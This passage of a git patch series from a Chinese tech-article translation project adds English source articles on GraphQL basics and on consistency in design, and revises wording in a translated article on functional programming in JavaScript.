 [![](https://i.embed.ly/1/display/resize?url=https%3A%2F%2Fpbs.twimg.com%2Fprofile_images%2F3722564505%2Fb8030b8f3990875e8f38ed877fdf8d25_bigger.png&key=4fce0568f2ce49e8b54624ef71a8a5bd&width=40)](https://video.twimg.com/tweet_video/CmectVVVUAAsvpo.mp4)
 
@@ -107,14 +107,14 @@ lambda 表达式对软件设计产生了很大的影响，在 1980 年之前，
 
 想更多的学习 JavaScript 的函数式编程？
 
-[Learn JavaScript with Eric Elliott](http://ericelliottjs.com/product/lifetime-access-pass/)，什么，你还不是其中之一，out 了！
+[Learn JavaScript with Eric Elliott](http://ericelliottjs.com/product/lifetime-access-pass/)，什么，你还没有参加，out 了！
 
 [![](https://cdn-images-1.medium.com/freeze/max/30/1*3njisYUeHOdyLCGZ8czt_w.jpeg?q=20)![](https://cdn-images-1.medium.com/max/800/1*3njisYUeHOdyLCGZ8czt_w.jpeg)](https://ericelliottjs.com/product/lifetime-access-pass/)
 
 
 *Eric Elliott* 是 [*“Programming JavaScript Applications”*](http://pjabook.com) (O’Reilly) 和 “Learn JavaScript with Eric Elliott” 的作者。他曾效力于 *Adobe Systems, Zumba Fitness, he Wall Street Journal, ESPN, BBC, and top recording artists including Usher, Frank Ocean, Metallica* 和其他一些公司。
 
-*他和她的老婆（很漂亮）大部分时间都在旧金山湾区里。*
+**他和她的老婆（很漂亮）大部分时间都在旧金山湾区里。**
 
 
 ---

From 75304b1854fd338c18cac1e174a5271ceafd2cb1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Wed, 12 Apr 2017 23:32:15 +0800
Subject: [PATCH 133/638] Create
 so-whats-this-graphql-thing-i-keep-hearing-about.md

---
 ...this-graphql-thing-i-keep-hearing-about.md | 416 ++++++++++++++++++
 1 file changed, 416 insertions(+)
 create mode 100644 TODO/so-whats-this-graphql-thing-i-keep-hearing-about.md

diff --git a/TODO/so-whats-this-graphql-thing-i-keep-hearing-about.md b/TODO/so-whats-this-graphql-thing-i-keep-hearing-about.md
new file mode 100644
index 00000000000..962818c5969
--- /dev/null
+++ b/TODO/so-whats-this-graphql-thing-i-keep-hearing-about.md
@@ -0,0 +1,416 @@
+> * 原文地址：[So what’s this GraphQL thing I keep hearing about?](https://medium.freecodecamp.com/so-whats-this-graphql-thing-i-keep-hearing-about-baf4d36c20cf)
+> * 原文作者：[Sacha Greif](https://medium.freecodecamp.com/@sachagreif?source=post_header_lockup)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+![](https://cdn-images-1.medium.com/max/2000/1*uF2-YU2quykHIs4tKXy7sw.png)
+
+# So what’s this GraphQL thing I keep hearing about? #
+
+If you’re like me, you probably go through three stages when hearing about a new technology:
+
+#### 1. Dismissal ####
+
+> One more JavaScript library?! Just use jQuery already!
+
+#### 2. Interest ####
+
+> Hmm, maybe I **should** check out this new library I keep hearing about…
+
+#### 3. Panic ####
+
+> Help! I need to learn this new library **right now** or I’ll be completely obsolete!
+
+The trick to maintaining your sanity in these fast-moving times is to learn new stuff right between stages two and three, once your interest is piqued but while you’re still ahead of the curve.
+
+Which is why now is the perfect time to learn what exactly this GraphQL thing you keep hearing about really is.
+
+### The Basics ###
+
+In a nutshell, GraphQL is **a syntax that describes how to ask for data**, and is generally used to load data from a server to a client. GraphQL has three main characteristics:
+
+- It lets the client specify exactly what data it needs.
+- It makes it easier to aggregate data from multiple sources.
+- It uses a type system to describe data.
+
+So how did GraphQL get started? What does it look like in practice? And how do you start using it? Read on to find out!
+
+![](https://cdn-images-1.medium.com/max/800/1*NpFL8vnrMQ-D1L6T89T-4A.png)
+
+### The Problem ###
+
+GraphQL got its start at big old Facebook, but even much simpler apps can often bump into the limitations of traditional REST APIs.
+
+For example, imagine you need to display a list of `posts`, and under each post a list of `likes`, including user names and avatars. Easy enough, you tweak your `posts` API to include a `likes` array containing user objects:
+
+![](https://cdn-images-1.medium.com/max/800/1*VuIe8p5Z00HAdnWTv0QUww.png)
+
+But now, it’s time to work on your mobile app, and it turns out loading all that extra data is slowing things down. So you now need *two* endpoints, one with the `likes` and one without them.
+
+Now add one more factor to the mix: it turns out that while `posts` are stored in a MySQL database, `likes` on the other hand live in a Redis store! What do you do now?!
+
+Extrapolate this scenario to however many data sources and API clients Facebook has to manage, and you can imagine why good old REST APIs were starting to show their limits.
+
+### The Solution ###
+
+The solution Facebook came up with is conceptually very simple: instead of having multiple “dumb” endpoints, have a single “smart” endpoint that can take in complex queries, and then massage the data output into whatever shape the client requires.
+
+Practically speaking, the GraphQL layer lives between the client and one or more data sources, receiving client requests and fetching the necessary data according to your instructions. Confused? It’s metaphor time!
+
+The old REST model is like ordering pizza, then getting groceries delivered, then calling your dry cleaner to get your clothes. Three shops, three phone calls.
+
+![](https://cdn-images-1.medium.com/max/800/1*LVQb9_hxti9j-fY7SH3aKA.png)
+
+GraphQL on the other hand is like having a personal assistant: once you’ve given them the addresses to all three places, you can simply ask for what you want (“get me my dry cleaning, a large pizza, and two dozen eggs”) and wait for them to return.
+
+![](https://cdn-images-1.medium.com/max/800/1*AFX14UE3utIs7xktnxVIng.png)
+
+In other words, GraphQL establishes a standard language for talking to this magical personal assistant.
+
+![](https://cdn-images-1.medium.com/max/1000/1*tulrgfYYaRaDetz7jP5Q-g.png)
+
+According to Google Images, the typical personal assistant is an eight-armed alien
+
+![](https://cdn-images-1.medium.com/max/800/1*nC8aB5GHMhUEV28GdvSb5Q.png)
+
+In practice, a GraphQL API is organized around three main building blocks: the **schema**, **queries**, and **resolvers**.
+
+### Queries ###
+
+The request you make to your GraphQL personal assistant is the **query**, and it looks something like this:
+
+```
+query {
+  stuff
+}
+```
+
+We’re declaring a new query using the `query` keyword, then asking for a field named `stuff`. The great thing about GraphQL queries is that they support nested fields, so we can go one level deeper:
+
+```
+query{
+  stuff {
+    eggs
+    shirt
+    pizza
+  }
+}
+```
+
+As you can see, the client making the query doesn’t need to care which “shop” the data is coming from. Just ask for what you need, and let the GraphQL server take care of the rest.
+
+It’s worth noting that query fields can also point to **arrays**. For example, here’s a common pattern when querying for a list of posts:
+
+```
+query {
+  posts { # this is an array
+    title
+    body
+    author { # we can go deeper!
+      name
+      avatarUrl
+      profileUrl
+    }
+  }
+}
+```
+
+Query fields also support **arguments**. If I want to display a specific post, I can add an `id` argument to the `post` field:
+
+```
+query {
+  post(id: "123foo"){
+    title
+    body
+    author{
+      name
+      avatarUrl
+      profileUrl
+    }
+  }
+}
+```
+
+Finally, if I want to make that `id` argument dynamic, I can define a **variable** and then reuse it inside the query (note that we’re also **naming** the query here):
+
+```
+query getMyPost($id: String) {
+  post(id: $id){
+    title
+    body
+    author{
+      name
+      avatarUrl
+      profileUrl
+    }
+  }
+}
+```
+
+A good way to put all this in practice is to use [GitHub’s GraphQL API Explorer](https://developer.github.com/early-access/graphql/explorer/) . For example, give the following query a try:
+
+```
+query {
+  repository(owner: "graphql", name: "graphql-js"){
+    name
+    description
+  }
+}
+```
+
+![](https://cdn-images-1.medium.com/max/1000/1*adGjZ9lofuO_ohkmlqtZvg.gif)
+
+GraphQL autocomplete in action
+
+Notice that as you try typing a new field name below `description`, the IDE will automatically offer possible field names directly auto-completed from the GraphQL API itself. Neat!
+
+[![](https://cdn-images-1.medium.com/max/800/1*XthnQqgmM5Ag4TmwM6UVWw.png)](https://dev-blog.apollodata.com/the-anatomy-of-a-graphql-query-6dffa9e9e747)
+
+[The Anatomy of a GraphQL Query](https://dev-blog.apollodata.com/the-anatomy-of-a-graphql-query-6dffa9e9e747)
+
+You can learn more about GraphQL queries in the excellent [Anatomy of a GraphQL Query](https://dev-blog.apollodata.com/the-anatomy-of-a-graphql-query-6dffa9e9e747)  article.
+
+### Resolvers ###
+
+Even the best personal assistant in the world can’t go and get your dry cleaning unless you give them an address.
+
+Similarly, your GraphQL server won’t know what to do with an incoming query unless you tell it using a **resolver**.
+
+A resolver tells GraphQL how and where to fetch the data corresponding to a given field. For example, here’s what a resolver for the `post` field above could look like (using Apollo’s [GraphQL-Tools](https://github.com/apollographql/graphql-tools) :
+
+```
+Query: {
+  post(root, args) {
+    return Posts.find({ id: args.id });
+  }
+}
+```
+
+We’re putting the resolver on `Query` because we want to query for `post` directly at the root level. But you can also have resolvers for sub-fields, such as a `post`'s `author` field:
+
+```
+Query: {
+  post(root, args) {
+    return Posts.find({ id: args.id });
+  }
+},
+Post: {
+  author(post) {
+    return Users.find({ id: post.authorId})
+  }
+}
+```
+
+And note that your resolvers are not limited to returning database documents. For example, maybe you want to add a `commentsCount` to your `Post` type:
+
+```
+Post: {
+  author(post) {
+    return Users.find({ id: post.authorId})
+  },
+  commentsCount(post) {
+    return Comments.find({ postId: post.id}).count() 
+  }
+}
+```
+
+The key concept to understand here is that with GraphQL, **your API schema and your database schemas are decoupled**. In other words, there might not be any `author` and `commentsCount` fields in our database, but we can “simulate” them through the power of resolvers.
+
+As you’ve seen you can write any code you want inside a resolver. Which is why you can also make them *modify* the contents of your database, in which case they’re known as **mutation** resolvers.
+
+### Schema ###
+
+All this good stuff is made possible by GraphQL’s typed schema system. My goal today is to give you a quick overview more than an exhaustive introduction, so I won’t go into details here.
+
+That being said, I encourage you to check out the [GraphQL documentation](http://graphql.org/learn/schema/)  if you’d like to learn more.
+
+![](https://cdn-images-1.medium.com/max/800/1*uLSaEA8VyrGrU2Nki7LiKg.png)
+
+### Frequently Asked Questions ###
+
+Let’s take a break to answer a few common questions.
+
+You there, in the back. Yes, you. I can see you want to ask something. Go ahead, don’t be shy!
+
+#### What’s the relation between GraphQL and graph databases? ####
+
+Not much, really, GraphQL doesn’t have anything to do with graph databases like [Neo4j](https://en.wikipedia.org/wiki/Neo4j). The “graph” part comes from the idea of crawling across your API graph by using fields and subfields; while “QL” stands for “query language”.
+
+#### I’m perfectly happy with REST, why should I switch to GraphQL? ####
+
+If you haven’t yet bumped into the REST pain points that GraphQL is meant to address, then I would say that’s a good thing!
+
+Using GraphQL over REST probably won’t affect your app’s overall user experience that much, so switching to it isn’t a matter of life or death by any means. That being said, I’d definitely recommend trying out GraphQL on a small side project if you ever get the chance.
+
+#### Can I use GraphQL without React/Relay/*insert library here*? ####
+
+Yes you can! Since GraphQL is just a specification, you can use it with any library on any platform, either with a client (for example, [Apollo](http://dev.apollodata.com/) has GraphQL clients for the web, iOS, Angular, etc.) or by making your own calls to a GraphQL server.
+
+#### GraphQL was made by Facebook, and I don’t trust Facebook ####
+
+Again, GraphQL is a specification, meaning you can use GraphQL implementations without running a single line of code written by Facebook.
+
+And while having Facebook’s support is definitely a nice plus for the GraphQL ecosystem, at this point I believe the community is big enough for GraphQL to thrive even if Facebook were to stop using it.
+
+#### This whole “let the client ask for the data they need” business doesn’t sound very secure to me… ####
+
+Since you write your own resolvers, it’s up to you to address any security concerns at that level.
+
+For example, if you let the client specify a `limit` parameter to control the number of documents it receives, you’ll probably want to cap that number to avoid denial-of-service-style attacks where clients requests millions of documents over and over.
+
+#### So what do I need to get started? ####
+
+Generally speaking, you’ll need at least two components to run a GraphQL-powered app:
+
+- A **GraphQL server** that serves your API.
+- A **GraphQL client** that connects to your endpoint.
+
+Read on to learn more about the various options available.
+
+![](https://cdn-images-1.medium.com/max/800/1*zugVY5cAa9KIP6Necc7uCw.png)
+
+Now that you have a fair idea of how GraphQL works, let’s talk about some of the main players in the space.
+
+### GraphQL Servers ###
+
+The first brick you’ll need is a GraphQL server. [GraphQL itself](http://graphql.org/) is just a specification after all, so this leaves the door open to a few competing implementations.
+
+#### [GraphQL-JS](https://github.com/graphql/graphql-js)  (Node) ####
+
+This is the original reference implementation of GraphQL. You can use it together with [express-graphql](https://github.com/graphql/express-graphql)  to [create your API server](http://graphql.org/graphql-js/running-an-express-graphql-server/) .
+
+#### [GraphQL-Server](http://graphql.org/graphql-js/running-an-express-graphql-server/) (Node) ####
+
+The [Apollo](http://apollostack.com)  team also has their own all-in-one GraphQL server implementation. It’s not as widespread as the original yet, but is very well documented and supported and quickly gaining ground.
+
+#### [Other Platforms](http://graphql.org/code/) ####
+
+GraphQL.org has a [list of GraphQL implementations for various other platforms](http://graphql.org/code/)  (PHP, Ruby, etc.).
+
+### GraphQL Clients ###
+
+Although you can technically query your GraphQL API directly without the need for a dedicated client library, it can [definitely make your life easier](https://dev-blog.apollodata.com/why-you-might-want-a-graphql-client-e864050f789c) .
+
+#### [Relay](https://facebook.github.io/relay/) ####
+
+Relay is Facebook’s own GraphQL toolkit. I haven’t used it myself, but from what I’ve heard it’s mainly tailored to Facebook’s own needs, and might be a bit over-engineered for most usages.
+
+#### [Apollo Client](http://www.apollodata.com/) ####
+
+The new entrant in this space is [Apollo](http://apollostack.com) , and it’s quickly taken over. The typical Apollo client stack is composed of two bricks:
+
+- [Apollo-client](http://dev.apollodata.com/core/) (, which lets you run GraphQL queries in the browser and store their data (and also has its own [devtools extension](https://github.com/apollographql/apollo-client-devtools)).
+- A connector for your front-end framework of choice ([React-Apollo](http://dev.apollodata.com/react/) , [Angular-Apollo](http://dev.apollodata.com/angular2/), etc.).
+
+Note that by default, Apollo-client stores its data using [Redux](http://redux.js.org) , which is great since Redux is itself a pretty established state management library with a rich ecosystem.
+
+[![](https://cdn-images-1.medium.com/max/800/1*SLvbmGeU1p3mUfG8qA4cQQ.png)](https://github.com/apollographql/apollo-client-devtools) 
+
+The Apollo Devtools Chrome extension
+
+### Open-Source Apps ###
+
+Even though GraphQL is fairly new, there are already some promising open-source apps making use of it.
+
+#### [VulcanJS](http://vulcanjs.org) ####
+
+[![](https://cdn-images-1.medium.com/max/800/1*YoSlSmK3P1CIlpXKyVujCQ.png)](http://vulcanjs.org) 
+
+First, a disclaimer: I’m the lead maintainer of [VulcanJS](http://vulcanjs.org) . I created VulcanJS to let people take advantage of the power of the React/GraphQL stack without having to write so much boilerplate. You can think of it as “Rails for the modern web ecosystem”, in that it lets you build CRUD apps (such as an [Instagram clone](https://www.youtube.com/watch?v=qibyA_ReqEQ)) in a matter of hours.
+
+#### [Gatsby](https://www.gatsbyjs.org/docs/) ####
+
+Gatsby is a React static site generator, which is now powered by GraphQL as of [version 1.0](https://www.gatsbyjs.org/docs/) . While that might seem like an odd combination at first, it’s actually quite powerful. During its build process, Gatsby can fetch data from multiple GraphQL APIs, and then use them to create a fully static client-only React app.
+
+### Other GraphQL Tools ###
+
+#### [GraphiQL](https://github.com/graphql/graphiql) ####
+
+GraphiQL is a very handy in-browser IDE for querying GraphQL endpoints.
+
+[![](https://cdn-images-1.medium.com/max/800/1*fbeXj5wB383gWsMXn_6JAw.png)](https://github.com/graphql/graphiql)
+
+GraphiQL
+
+#### [DataLoader](https://github.com/facebook/dataloader) ####
+
+Due to the nested nature of GraphQL queries, a single query can easily trigger dozens of database calls. To avoid taking a performance hit, you can use a batching and caching library such as DataLoader, developed by Facebook.
+
+#### [Create GraphQL Server](https://blog.hichroma.com/create-graphql-server-instantly-scaffold-a-graphql-server-1ebad1e71840) ####
+
+Create GraphQL Server is a command line utility that makes it easy to quickly scaffold a GraphQL server powered by a Node server and a Mongo database.
+
+### GraphQL Services ###
+
+Finally, there are also a number of “GraphQL-backend-as-a-service” companies that take care of the whole server side of things for you, and might be a nice way to dip your toes in the GraphQL ecosystem.
+
+#### [GraphCool](http://graph.cool) #### 
+
+A flexible backend platform combining GraphQL and AWS Lambda, with a free developer plan.
+
+#### [Scaphold](https://scaphold.io/) ####
+
+Another GraphQL backend as a service, which also offers a free plan. Compared to GraphCool, it offers a few extra features such as custom user roles and callback hooks for common actions.
+
+![](https://cdn-images-1.medium.com/max/800/1*deLIZh7AfYbAt0u2t7dAKQ.png)
+
+There are already quite a few places where you can brush up on GraphQL.
+
+#### [GraphQL.org](http://graphql.org/learn/)  ####
+
+The official GraphQL site has some great documentation to get you started.
+
+#### [LearnGraphQL](https://learngraphql.com/) ####
+
+LearnGraphQL is an interactive course put together by the folks at [Kadira](https://kadira.io/).
+
+#### [LearnApollo](https://www.learnapollo.com/) ####
+
+A good follow-up to LearnGraphQL, LearnApollo is a free course made by Graphcool.
+
+#### [The Apollo Blog](https://dev-blog.apollodata.com/) ####
+
+The Apollo blog has tons of detailed, well-written posts about Apollo and GraphQL in general.
+
+#### [GraphQL Weekly](https://graphqlweekly.com/) ####
+
+A newsletter about all things GraphQL curated by the Graphcool team.
+
+#### [Hashbang Weekly](http://hashbangweekly.okgrow.com/) ####
+
+Another great newsletter, which also covers React and Meteor in addition to GraphQL.
+
+#### [Awesome GraphQL](https://github.com/chentsulin/awesome-graphql) ####
+
+A pretty exhaustive list of GraphQL links and resources.
+
+![](https://cdn-images-1.medium.com/max/800/1*S69N5yYp1VLSSO0GTnrpmw.png)
+
+So how do you put your newly acquired GraphQL knowledge in practice? Here are a few recipes you can try:
+
+#### [Apollo + Graphcool + Next.js](https://github.com/zeit/next.js/tree/master/examples/with-apollo)  ####
+
+If you’re already familiar with Next.js and React, [this example](https://github.com/zeit/next.js/tree/master/examples/with-apollo)  will let you set up your GraphQL endpoint using Graphcool, and then query it using Apollo.
+
+#### [VulcanJS](http://docs.vulcanjs.org/) ####
+
+The [Vulcan tutorial](http://docs.vulcanjs.org/) will take you through setting up a simple GraphQL data layer, both on the server and client. Since Vulcan is an all-in-one platform, it’s a nice way to get started without any setup. If you need help, don’t hesitate to [drop by our Slack channel](http://slack.vulcanjs.org/) !
+
+#### [GraphQL & React Tutorial](https://blog.hichroma.com/graphql-react-tutorial-part-1-6-d0691af25858#.o54ygcruh)  ####
+
+The Chroma blog has a [six-part tutorial](https://blog.hichroma.com/graphql-react-tutorial-part-1-6-d0691af25858#.o54ygcruh) on building a React/GraphQL app following a component-driven development approach.
+
+![](https://cdn-images-1.medium.com/max/800/1*uLSaEA8VyrGrU2Nki7LiKg.png)
+
+### Conclusion ###
+
+GraphQL might seem complex at first because it’s a technology that reaches across many areas of modern development. But if you take the time to understand the underlying concepts, I think you’ll find out that a lot of it just makes sense.
+
+So whether you end up actually using it or not, I believe it’s worth taking the time to familiarize yourself with GraphQL. More and more companies and frameworks are adopting it, and it might very well end up becoming one of the key building blocks of the web over the next few years.
+
+Agree? Disagree? Questions? Just let me know here in the comments. And if you’ve enjoyed this article, please consider 💚ing and sharing it!
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 600f33961bfb9c13f2972796f64e9398bc543907 Mon Sep 17 00:00:00 2001
From: gy134340 <guoyang134340@163.com>
Date: Wed, 12 Apr 2017 23:39:58 +0800
Subject: [PATCH 134/638] change name

---
 ...f-functional-programming-composable-software.md | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md b/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md
index e8c6153ae24..dfb38943ae5 100644
--- a/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md
+++ b/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md
@@ -4,19 +4,19 @@
 > * 译者：[gy134340](https://github.com/gy134340)
 > * 校对者：[avocadowang](https://github.com/avocadowang),[Aladdin-ADD](https://github.com/Aladdin-ADD)
 
-# 跌宕起伏的函数式编程（组成化软件）
+# 跌宕起伏的函数式编程（软件构建）
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*uVpU7iruzXafhU2VLeH4lw.jpeg">
 
 烟雾的方块艺术 —MattysFlicks —(CC BY 2.0)
 
-> 注意：这是从基础学习函数式编程和使用 JavaScript ES6+ 组成软件的第一部分。保持关注，接下来还有很多！
+> 注意：这是从基础学习函数式编程和使用 JavaScript ES6+ 构建软件的第一部分。保持关注，接下来还有很多！
 
 当我 6 岁时，我花了很多时间跟我的小伙伴玩电脑游戏，他家有一个装满电脑的房间。对于我说，它们有不可抗拒的魔力。我花了很多时间探索所有的游戏。一天我问他，“我们怎样做一个游戏？”
 
 他不知道，所以我们问了他的老爸，他的老爸爬上一个很高的架子拿下来一本使用 Basic 编写游戏的书籍。就那样开始了我的编程之路。当公立学校开始教授代数时，我已经熟稔其中的概念了，因为编程基本上是代数。无论如何，它都是。
 
-### 软件组成化的兴起
+### 组合型软件的兴起
 
 在计算机科学的起步阶段，在大多数的计算机科学在电脑上完成之前，有两位伟大的计算机科学家：阿隆佐·邱奇和艾伦·图灵。他们发明了两种不同、但是普遍通用的计算模型。两种都可以计算所有可被计算的东西（因此，“普遍”）。
 
@@ -24,7 +24,7 @@
 
 总的说，他们共同说明了 lambda 表达式和图灵机功能上是相等的。
 
-lambda 表达式全是函数组成，依靠函数来编写软件是非常高效和有意义的。本文中，我们将会讨论软件设计中函数的组成的重要性。
+lambda 表达式全是函数组成，依靠函数来编写软件是非常高效和有意义的。本文中，我们将会讨论软件设计中函数的组合的重要性。
 
 有三点造就了 lambda 表达式的特别之处：
 
@@ -34,7 +34,7 @@ lambda 表达式全是函数组成，依靠函数来编写软件是非常高效
 
 总的说来，这些特性形成一个简单且具有表达性的方法来构造软件，即使用函数作为初始模块。在 JavaScript 中，函数的匿名和柯里化都是可选的特性。虽然 JavaScript 支持这些 lambda 表达式的重要属性，它却并不强制使用这些。
 
-这些经典的函数组成方法用一个函数的输出来作为另一个函数的输入，例如，对于组合：
+这些经典的函数组合方法用一个函数的输出来作为另一个函数的输入，例如，对于组合：
 
 	f . g
 	
@@ -59,7 +59,7 @@ lambda 表达式全是函数组成，依靠函数来编写软件是非常高效
 6. `double(4)` 等于 `8`。
 7. 函数返回 `8`。
 
-组成软件时，可以被看作一个由函数组成的图。看一下下面：
+组合软件时，可以被看作一个由函数组合的图。看一下下面：
 	
 	append = s1 => s2 => s1 + s2
 	append('Hello, ')('world!')
@@ -97,7 +97,7 @@ lambda 表达式对软件设计产生了很大的影响，在 1980 年之前，
 
 箭头函数像是 JavaScript 函数式编程飞升的燃料。现在很少看见不使用很多函数式编程技术的大型应用了。
 
-组合型可以简单、优雅的表达软件的模型和行为。通过把小的、确定的函数组成稍大的组件并构成软件的过程，可以更为简单的组织、理解、调试、扩展、测试和掌控。
+组合型可以简单、优雅的表达软件的模型和行为。通过把小的、确定的函数组合成稍大的组件并构成软件的过程，可以更为简单的组织、理解、调试、扩展、测试和掌控。
 
 你在阅读下一部分时，可以使用实例实验，记住要把你自己当孩子一样把其他的思想扔在一边在学习中去探索和玩耍。重新发现孩童时发现新事物的欣喜。让我们来做一些魔术吧。
 

From 4b6b6495b6e15adcd98854d58c983a177071cccd Mon Sep 17 00:00:00 2001
From: gy134340 <guoyang134340@163.com>
Date: Wed, 12 Apr 2017 23:43:19 +0800
Subject: [PATCH 135/638] change new proofread

---
 ...ll-and-rise-of-functional-programming-composable-software.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md b/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md
index dfb38943ae5..bb0d65c5581 100644
--- a/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md
+++ b/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md
@@ -28,7 +28,7 @@ lambda 表达式全是函数组成，依靠函数来编写软件是非常高效
 
 有三点造就了 lambda 表达式的特别之处：
 
-1. 函数都是匿名的，在 JavaScript 中，表达式 `const sum = (x, y) => x + y` ，等同于一个匿名函数 `(x, y) => x + y`。
+1. 函数都是匿名的，在 JavaScript 中，表达式 `const sum = (x, y) => x + y` 的右侧，可以看作一个匿名函数 `(x, y) => x + y`。
 2. lambda 表达式中的函数只接收一个参数。他们是一元的，如果你需要多个参数，函数将会接受一个输入返回一个调用下一个函数的函数，然后继续这样。非一元函数 `(x, y) => x + y` 可以被表示为一个像 `x => y => x + y` 的一元函数。这个把多元函数转换成一元函数的过程叫做柯里化。
 3. 函数是一等公民的，意味着函数可以作为参数传递给其他函数，同时函数可以返回函数。
 

From 815c5a960255564274c62e7882b5a5570f33eaf5 Mon Sep 17 00:00:00 2001
From: gy134340 <guoyang134340@163.com>
Date: Wed, 12 Apr 2017 23:44:09 +0800
Subject: [PATCH 136/638] subtle change

---
 ...ll-and-rise-of-functional-programming-composable-software.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md b/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md
index bb0d65c5581..608366c3f41 100644
--- a/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md
+++ b/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md
@@ -28,7 +28,7 @@ lambda 表达式全是函数组成，依靠函数来编写软件是非常高效
 
 有三点造就了 lambda 表达式的特别之处：
 
-1. 函数都是匿名的，在 JavaScript 中，表达式 `const sum = (x, y) => x + y` 的右侧，可以看作一个匿名函数 `(x, y) => x + y`。
+1. 函数都是匿名的，在 JavaScript 中，表达式 `const sum = (x, y) => x + y` 的右侧，可以看作一个匿名函数表达式 `(x, y) => x + y`。
 2. lambda 表达式中的函数只接收一个参数。他们是一元的，如果你需要多个参数，函数将会接受一个输入返回一个调用下一个函数的函数，然后继续这样。非一元函数 `(x, y) => x + y` 可以被表示为一个像 `x => y => x + y` 的一元函数。这个把多元函数转换成一元函数的过程叫做柯里化。
 3. 函数是一等公民的，意味着函数可以作为参数传递给其他函数，同时函数可以返回函数。
 

From e3b294bca5948ec1b262efa36bd38d23e6206d25 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Wed, 12 Apr 2017 23:45:55 +0800
Subject: [PATCH 137/638] Create design-principle-consistency.md

---
 TODO/design-principle-consistency.md | 141 +++++++++++++++++++++++++++
 1 file changed, 141 insertions(+)
 create mode 100644 TODO/design-principle-consistency.md

diff --git a/TODO/design-principle-consistency.md b/TODO/design-principle-consistency.md
new file mode 100644
index 00000000000..477ee8256a6
--- /dev/null
+++ b/TODO/design-principle-consistency.md
@@ -0,0 +1,141 @@
+> * 原文地址：[Design principle: Consistency](https://uxplanet.org/design-principle-consistency-6b0cf7e7339f)
+> * 原文作者：[Anton Nikolov](https://uxplanet.org/@antonnikolov?source=post_header_lockup)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# Design principle: Consistency #
+
+## The most known and the most fragile design principle. ##
+
+![](https://cdn-images-1.medium.com/max/1000/1*B0pKth3Pzk8Cn0np_gg3uA.jpeg)
+
+Consistency is a key principle in life and in design. Without it we can’t get far. Even the mightiest of problems will fall if you keep hacking it everyday!
+
+Consistency is one of the design principles that we like to violate frequently. I am also guilty of doing that and I am not proud of it. Going all creative and [artzy](http://www.urbandictionary.com/define.php?term=artzy) can easily break this design principle.
+
+The topic about consistency in design is huge. I will try my best to boil it down to the most important points. This way we can learn how to use consistency and how to keep it in our designs without breaking it.
+
+### What is consistency in design ###
+
+Consistency is one of the molecules of the Design DNA. Consistent design is intuitive design. It is highly useful and makes the world a better place.
+
+In short, usability and learnability improve when similar elements have consistent look and function in similar way. When consistency is present in your design, people can transfer knowledge to new contexts and learn new things quickly without pain. This way they can focus on executing the task and not learning how the product UI works every time they switch the context.
+
+We humans like consistency by default! Our physical bodies constantly strive for consistent balance, so we can be healthy. We need to feel that things are consistent to feel secure and safe.
+
+### Benefits of consistency ###
+
+**Users will learn faster how to use your design**. Imagine, that the consistent elements in your design are the letters of the alphabet. Once, the user has learned the alphabet, he can go anywhere in your product and still be able to communicate with the interface without friction.
+
+Having inconsistent interface is like trying to communicate with the user in several languages. Only the advanced users will be able to finish their tasks. [Keep it simple](https://uxplanet.org/design-principles-kiss-the-feature-creep-7eb84b09603f) and consistent.
+
+**Consistency eliminates confusion!** When the user feels confused the next step is to feel frustration. We don’t want our dear user to feel that, do we?
+
+**Consistency saves money and time!** Consistent design is frequently built by predefined components. This allows designers and stakeholders to make decisions quickly without spending precious time to argue. This saves time that can be used to build the product and make incremental improvements.
+
+### Four types of consistency ###
+
+Let's look at four type of consistency that are important to be aware of when designing.
+
+#### **Visual consistency** ####
+
+Similar elements that are perceived the same way make up the visual consistency. **It increases learnability of the product.** Fonts, sizes, buttons, labeling and similar need to be consistent across the product to keep visual consistency.
+
+#### Functional consistency ####
+
+Similar controls that are functioning the same way make up the functional consistency. **It increases the predictability of the product.** Predictability leads to users feeling safe and secure. For example, the way to go a step back in the flow should function the same way across the product.
+
+#### Internal consistency ####
+
+This is the combination of both visual and functional consistency in your product design. **It improves the usability and learnability of the product.** Even when you introduce new features/pages users will have easy way using them as long as you keep the internal consistency.
+
+#### External consistency ####
+
+This type of consistency is achieved when there is design consistency across multiple systems/products. This way the user’s knowledge for one product can be reused in another. Yes, this helps eliminate a lot of the friction and provides great user experience.
+
+Good example of external consistency is the user interface of Adobe products. Once you know Photoshop it is much easier to reuse the same knowledge to start using Illustrator and so on.
+
+Achieving these four types of consistency will help your design gain better usability and more happy users.
+
+### How to be consistent ###
+
